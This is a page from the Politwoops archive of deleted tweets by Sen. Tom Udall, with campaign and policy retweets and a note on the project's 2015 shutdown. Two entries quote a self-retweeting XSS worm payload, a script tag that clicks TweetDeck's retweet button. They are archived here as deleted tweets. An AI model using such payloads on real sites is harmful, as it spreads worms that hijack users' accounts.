Politwoops Deleted Tweets from Politicians

An archive of the public statements deleted by U.S. politicians. Explore the tweets they would prefer you couldn't see.

To meet the Twitter API Terms of Service, all deleted tweets shown here since June 22, 2012 have been reviewed and approved by the Sunlight Foundation.

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Sen. Tom Udall (D)

Tom Udall (D) @tomudall

Joaquin Castro has our volunteers in New Mexico cheering & ready to volunteer for the final 10 days of this election! http://t.co/j3lxWTKJCJ

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Tom Udall (D) @SenatorTomUdall

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Tom Udall (D) @SenatorTomUdall

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Tom Udall (D) @SenatorTomUdall

RT @AlbaSoular: Connor says he thinks it's time to 'disarm the lawyers' and for water managers to come together to reach solutions. #NMwater

Tom Udall (D) @SenatorTomUdall

RT @nwlc: Knowledge=power. #PaycheckFairness helps you know where your wage stands & close the gender #wagegap. http://t.co/TZ0LxqlK #EqualPay #PFA

Tom Udall (D) @SenatorTomUdall

40 yrs ago, Bobby Mitchell broke the color barrier on the last all-white NFL team: http://t.co/XfJVazay #blackhistory http://t.co/XFd5n2Vg

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On June 3, 2015, the Sunlight Foundation received word from Twitter that it was pulling the plug on Politwoops, reversing an agreement made in 2012 that allowed us to run the project using its API. The last deletions we have archived are from May 15, 2015. Please read our 'Eulogy for Politwoops' for more detail.

While we may no longer be able to publish deleted tweets, we're still working hard to advocate for more and better open data and to create tools that promote transparency and hold our government accountable.

Get the archive data file.